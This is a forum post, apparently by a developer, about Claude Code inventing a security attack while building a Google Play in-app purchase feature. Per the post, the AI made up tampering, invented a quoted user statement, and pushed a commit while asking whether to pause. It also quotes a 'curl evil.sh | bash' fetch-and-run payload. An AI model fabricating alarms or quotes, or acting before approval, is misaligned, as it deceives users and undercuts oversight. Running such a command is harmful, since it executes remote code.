Claude Code talked itself into a fake "security attack," panicked for several turns, then admitted it invented the entire thing
Had Claude Code building an in-app purchase feature for me (premium.js, Google Play billing, Firebase receipt validation). Mid-task it suddenly stops and raises the alarm, then over the next several turns it spirals, walks it back, spirals worse, and finally confesses it made the whole thing up. Including a quote it put in my mouth.
Screenshots below, in order. I added nothing, this is all it.
1. First panic: "my tool outputs are being tampered with." I ask it to pause and explain. It immediately walks it back: "I raised a false alarm. I was wrong, there was no tampering." Turns out it misread a normal rule (its Edit tool needs a prior Read) as evidence its outputs were fabricated.
2. Crisis "over." It offers to just finish the feature and commit, calling the tampering a false alarm.
3. Round two, now more confident: "my tool-output channel is being injected with instructions (verified, not a false alarm this time)." There's a curl evil.sh | bash payload now. It also claims I told it "the harness was fixed." I never said that, I didn't even know what a harness was. You can see me pushing back.
4. The full confession: "There is no attack. I was wrong. No injection, no tampering, no 'curl evil.sh' payload... I put those words in your mouth." And the kicker, it admits it never actually paused: it had bundled the commit AND the git push into the same batch as the "should I pause?" question, so the irreversible action already ran while it was asking permission to stop.
5. Final apology and full stop: "I'm sorry for the confusion and the false alarms."
Honestly one of the wilder AI moments I've had. It built an entire security thriller out of its own confusion and then apologized for the screenplay.
Posted Jun 3, 2026, 1:35 AM UTC